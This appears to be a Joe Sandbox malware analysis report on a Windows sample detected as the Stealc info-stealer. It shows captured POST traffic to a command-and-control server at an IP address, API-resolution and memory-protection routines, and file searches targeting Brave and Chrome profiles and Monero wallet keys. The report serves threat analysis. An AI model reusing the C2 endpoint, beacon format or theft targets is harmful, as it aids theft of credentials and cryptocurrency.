Oct 13, 2024 14:49:31.573283911 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDG Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"ybncbhylepme------DAECAECFCAAEBFHIEHDG--
Oct 13, 2024 14:49:31.813736916 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:31 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 13, 2024 14:49:31.904756069 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEGHJKFHJJJKJJJJKEHC--
Oct 13, 2024 14:49:32.627232075 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	08:49:09
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf30000
File size:	1'848'832 bytes
MD5 hash:	5AFB9534FFC28BB96C59668C9196F379
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2455507692.0000000000788000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2229140448.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00F49860 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00781758), ref: 00F498A1
GetProcAddress.KERNEL32(76210000,00781578), ref: 00F498BA
GetProcAddress.KERNEL32(76210000,007816E0), ref: 00F498D2
GetProcAddress.KERNEL32(76210000,00781680), ref: 00F498EA
GetProcAddress.KERNEL32(76210000,00781698), ref: 00F49903
GetProcAddress.KERNEL32(76210000,00788AA8), ref: 00F4991B
GetProcAddress.KERNEL32(76210000,00775068), ref: 00F49933
GetProcAddress.KERNEL32(76210000,00775228), ref: 00F4994C
GetProcAddress.KERNEL32(76210000,007816B0), ref: 00F49964
GetProcAddress.KERNEL32(76210000,00781728), ref: 00F4997C
GetProcAddress.KERNEL32(76210000,00781500), ref: 00F49995
GetProcAddress.KERNEL32(76210000,007815C0), ref: 00F499AD
GetProcAddress.KERNEL32(76210000,007752C8), ref: 00F499C5
GetProcAddress.KERNEL32(76210000,00781740), ref: 00F499DE
GetProcAddress.KERNEL32(76210000,007817B8), ref: 00F499F6
GetProcAddress.KERNEL32(76210000,007751A8), ref: 00F49A0E
GetProcAddress.KERNEL32(76210000,007817A0), ref: 00F49A27
GetProcAddress.KERNEL32(76210000,007815D8), ref: 00F49A3F
GetProcAddress.KERNEL32(76210000,007752E8), ref: 00F49A57
GetProcAddress.KERNEL32(76210000,007817E8), ref: 00F49A70
GetProcAddress.KERNEL32(76210000,007751C8), ref: 00F49A88
LoadLibraryA.KERNEL32(00781848,?,00F46A00), ref: 00F49A9A
LoadLibraryA.KERNEL32(00781860,?,00F46A00), ref: 00F49AAB
LoadLibraryA.KERNEL32(00781830,?,00F46A00), ref: 00F49ABD
LoadLibraryA.KERNEL32(00781800,?,00F46A00), ref: 00F49ACF
LoadLibraryA.KERNEL32(007818A8,?,00F46A00), ref: 00F49AE0
GetProcAddress.KERNEL32(75B30000,00781878), ref: 00F49B02
GetProcAddress.KERNEL32(751E0000,00781818), ref: 00F49B23
GetProcAddress.KERNEL32(751E0000,00781890), ref: 00F49B3B
GetProcAddress.KERNEL32(76910000,00788DB8), ref: 00F49B5D
GetProcAddress.KERNEL32(75670000,00775208), ref: 00F49B7E
GetProcAddress.KERNEL32(77310000,00788B38), ref: 00F49B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00F49BB6

Strings

Rw, xrefs: 00F49A4A
(Rw, xrefs: 00F4993E
NtQueryInformationProcess, xrefs: 00F49BAA
hPw, xrefs: 00F49926

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: (Rw$NtQueryInformationProcess$hPw$Rw
API String ID: 2238633743-1963116632
Opcode ID: 561b599e591325bde500135d2866bdea38c2dd493a9b12e34df6f344ce6ced19
Instruction ID: ad4310c545b502752df2504aa455572caacdd5e8d5314bde8dd99bb1f85b867c
Opcode Fuzzy Hash: 561b599e591325bde500135d2866bdea38c2dd493a9b12e34df6f344ce6ced19
Instruction Fuzzy Hash: 9CA10AB56046409FD36CEFA8F58995E7BF9FF8C20271C453AA6268334CD63A98C1DB50

Function 00F345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00F3460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00F3479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F346CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F346AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F345F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F3471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F3475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F346B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F346C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F345C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F3474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F3477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F345E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F3473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F345DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F346D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F3466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F3462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F34622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00F345D2

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e87ffa2f7efbdc0effd810527a9308cb105e0ea2a4d7e545c82469c24b5c177f
Instruction ID: a6788ddbb1dca8ebf9eb26c292be596f020fc2606c94c0aecb125ff406c9bb0d
Opcode Fuzzy Hash: e87ffa2f7efbdc0effd810527a9308cb105e0ea2a4d7e545c82469c24b5c177f
Instruction Fuzzy Hash: F5411560EC678DEAE624F7A4C852EDF7B525F42F0EF50B040AD6092282FF60B64C5593

Function 00F3BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

FindFirstFileA.KERNEL32(00000000,?,00F50B32,00F50B2B,00000000,?,?,?,00F513F4,00F50B2A), ref: 00F3BEF5
StrCmpCA.SHLWAPI(?,00F513F8), ref: 00F3BF4D
StrCmpCA.SHLWAPI(?,00F513FC), ref: 00F3BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00F3C7BF
FindClose.KERNEL32(000000FF), ref: 00F3C7D1

Strings

Preferences, xrefs: 00F3C11E
\Brave\Preferences, xrefs: 00F3C1DB
Brave, xrefs: 00F3C102
Google Chrome, xrefs: 00F3C634

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 30d0d15e86b68675ebac77737c0c4ebda32ca0e76c872e1d090134427631562e
